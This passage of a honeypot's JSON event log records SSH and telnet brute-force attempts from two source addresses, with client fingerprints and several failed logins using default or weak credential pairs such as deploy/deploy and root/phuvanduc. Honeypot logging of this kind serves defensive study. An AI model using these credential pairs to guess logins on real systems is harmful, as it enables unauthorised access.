0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:53.939431Z","src_ip":"45.153.34.112","session":"d1ded86ffac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:54.186759Z","src_ip":"45.153.34.112","session":"d1ded86ffac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.3042197227478,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:54.198820Z","src_ip":"192.119.13.58","session":"73d70aed74ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:55.461559Z","src_ip":"45.153.34.112","session":"d1ded86ffac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39048,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d1ae0c2ac6","protocol":"telnet","message":"New connection: 192.119.13.58:39048 (10.17.0.5:23) [session: c4d1ae0c2ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:56.459947Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52876,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a53b92caaa1","protocol":"ssh","message":"New connection: 45.153.34.112:52876 (10.17.0.5:22) [session: 4a53b92caaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:57.392701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:57.398155Z","src_ip":"45.153.34.112","session":"4a53b92caaa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:57.480690Z","src_ip":"45.153.34.112","session":"4a53b92caaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:57.731415Z","src_ip":"45.153.34.112","session":"4a53b92caaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:58.827240Z","src_ip":"45.153.34.112","session":"4a53b92caaa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"005e635b64c8","protocol":"ssh","message":"New connection: 45.153.34.112:60826 (10.17.0.5:22) [session: 005e635b64c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:01.140883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:01.146043Z","src_ip":"45.153.34.112","session":"005e635b64c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:01.228679Z","src_ip":"45.153.34.112","session":"005e635b64c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:01.475303Z","src_ip":"45.153.34.112","session":"005e635b64c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33648,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fd91902a0c5","protocol":"telnet","message":"New connection: 192.119.13.58:33648 (10.17.0.5:23) [session: 6fd91902a0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:01.700988Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:02.639511Z","src_ip":"45.153.34.112","session":"005e635b64c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.06761074066162,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:02.654780Z","src_ip":"192.119.13.58","session":"13dc9de66e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43996,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbd65e3e5afc","protocol":"telnet","message":"New connection: 192.119.13.58:43996 (10.17.0.5:23) [session: dbd65e3e5afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:04.106964Z"}
{"eventid":"cowrie.session.closed","duration":0.005872249603271484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:04.112710Z","src_ip":"192.119.13.58","session":"dbd65e3e5afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44356,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f66f66d86f1","protocol":"telnet","message":"New connection: 192.119.13.58:44356 (10.17.0.5:23) [session: 7f66f66d86f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:04.203885Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60836,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c6993b9666","protocol":"ssh","message":"New connection: 45.153.34.112:60836 (10.17.0.5:22) [session: c4c6993b9666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:04.523374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:04.528641Z","src_ip":"45.153.34.112","session":"c4c6993b9666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:04.610612Z","src_ip":"45.153.34.112","session":"c4c6993b9666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:05.031021Z","src_ip":"45.153.34.112","session":"c4c6993b9666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:06.116361Z","src_ip":"45.153.34.112","session":"c4c6993b9666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60846,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f29b14c69b","protocol":"ssh","message":"New connection: 45.153.34.112:60846 (10.17.0.5:22) [session: 76f29b14c69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:08.129688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:08.134624Z","src_ip":"45.153.34.112","session":"76f29b14c69b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:08.217024Z","src_ip":"45.153.34.112","session":"76f29b14c69b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:08.469666Z","src_ip":"45.153.34.112","session":"76f29b14c69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.275216817855835,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:08.718821Z","src_ip":"192.119.13.58","session":"7c4f8c63eb3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35932,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec70a4ce2faa","protocol":"telnet","message":"New connection: 192.119.13.58:35932 (10.17.0.5:23) [session: ec70a4ce2faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:08.938869Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:09.572602Z","src_ip":"45.153.34.112","session":"76f29b14c69b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44812,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95f00f95394","protocol":"telnet","message":"New connection: 192.119.13.58:44812 (10.17.0.5:23) [session: b95f00f95394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:10.932994Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49928,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aad67980386","protocol":"ssh","message":"New connection: 45.153.34.112:49928 (10.17.0.5:22) [session: 4aad67980386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:11.669604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:11.673997Z","src_ip":"45.153.34.112","session":"4aad67980386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:11.756077Z","src_ip":"45.153.34.112","session":"4aad67980386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:12.001729Z","src_ip":"45.153.34.112","session":"4aad67980386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:13.087448Z","src_ip":"45.153.34.112","session":"4aad67980386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49942,"dst_ip":"10.17.0.5","dst_port":22,"session":"1608e28ebac1","protocol":"ssh","message":"New connection: 45.153.34.112:49942 (10.17.0.5:22) [session: 1608e28ebac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:15.117081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:15.122306Z","src_ip":"45.153.34.112","session":"1608e28ebac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:15.209258Z","src_ip":"45.153.34.112","session":"1608e28ebac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:15.457459Z","src_ip":"45.153.34.112","session":"1608e28ebac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.10138702392578,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:16.539319Z","src_ip":"192.119.13.58","session":"bd2fdf4da3c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:16.633326Z","src_ip":"45.153.34.112","session":"1608e28ebac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49948,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f6c8cf9c86c","protocol":"ssh","message":"New connection: 45.153.34.112:49948 (10.17.0.5:22) [session: 0f6c8cf9c86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:18.568806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:18.573653Z","src_ip":"45.153.34.112","session":"0f6c8cf9c86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:18.655855Z","src_ip":"45.153.34.112","session":"0f6c8cf9c86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49320,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00d863d67a2","protocol":"telnet","message":"New connection: 192.119.13.58:49320 (10.17.0.5:23) [session: b00d863d67a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:18.667261Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:11:18.907592Z","src_ip":"45.153.34.112","session":"0f6c8cf9c86c","protocol":"ssh"}
